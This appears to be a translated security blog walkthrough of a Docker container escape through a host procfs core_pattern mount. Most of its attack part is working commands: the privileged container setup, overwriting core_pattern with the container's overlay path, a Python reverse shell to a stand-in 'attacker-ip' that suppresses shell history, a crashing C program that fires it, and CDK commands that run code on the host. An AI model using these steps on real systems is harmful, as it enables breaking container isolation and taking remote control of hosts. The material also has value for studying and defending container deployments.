Mounting the host's procfs filesystem is usually to allow the container to access the host's process information. However, in some cases, the abuse of mounting procfs may lead to container escape, that is, the container can access sensitive information of other processes on the host machine. In Docker, by default, the procfs filesystem inside the container is mounted as read-only. Therefore, the processes inside the container can only view their own process information and cannot access the host's procfs. This helps to improve the isolation and security of the container. However, if the host's procfs is mounted as read-write explicitly when creating the container, or if the container's process has container privileges (such as running the container in privileged mode), then the container may abuse the procfs functionality to obtain sensitive information of other processes on the host machine.
Environment Setup
docker run --privileged -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

Add privileged mode here, executing in higher versions of docker will cause a segmentation fault (Segmentation fault)
Vulnerability Reproduction
If two core_pattern files are found, it may be because the host's procfs is mounted
find / -name core_pattern
Find the absolute path of the current container under the host machine
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
The current absolute path is
/var/lib/docker/overlay2/5a622d02ad5431399339448ce6ae7a2b7bd6107e9dd5408c76770c1b89ea1a02/merged
Write the following content to /host/proc/sys/kernel/core_pattern inside the container
echo -e "/var/lib/docker/overlay2/5a622d02ad5431399339448ce6ae7a2b7bd6107e9dd5408c76770c1b89ea1a02/merged/tmp/.x.py \rcore" > /host/proc/sys/kernel/core_pattern
Then create a reverse shell /tmp/.x.py in the container
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
Finally, run a program that can crash in the container, for example:
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
It can be compiled on other machines and then uploaded to the container
Finally, we received the returned shell on the attack machine
Tool usage
cdk project address:https://github.com/cdk-team/CDK/releases/
https://www.freebuf.com/articles/system/cdk eva
Found that the container mounted the host's procfs
Execute the command
https://www.freebuf.com/articles/system/cdk run mount-procfs /host/proc "touch /tmp/exp-success"
Successfully created a file on the host machine. Other commands can also be executed, such as反弹shell, etc.

评论已关闭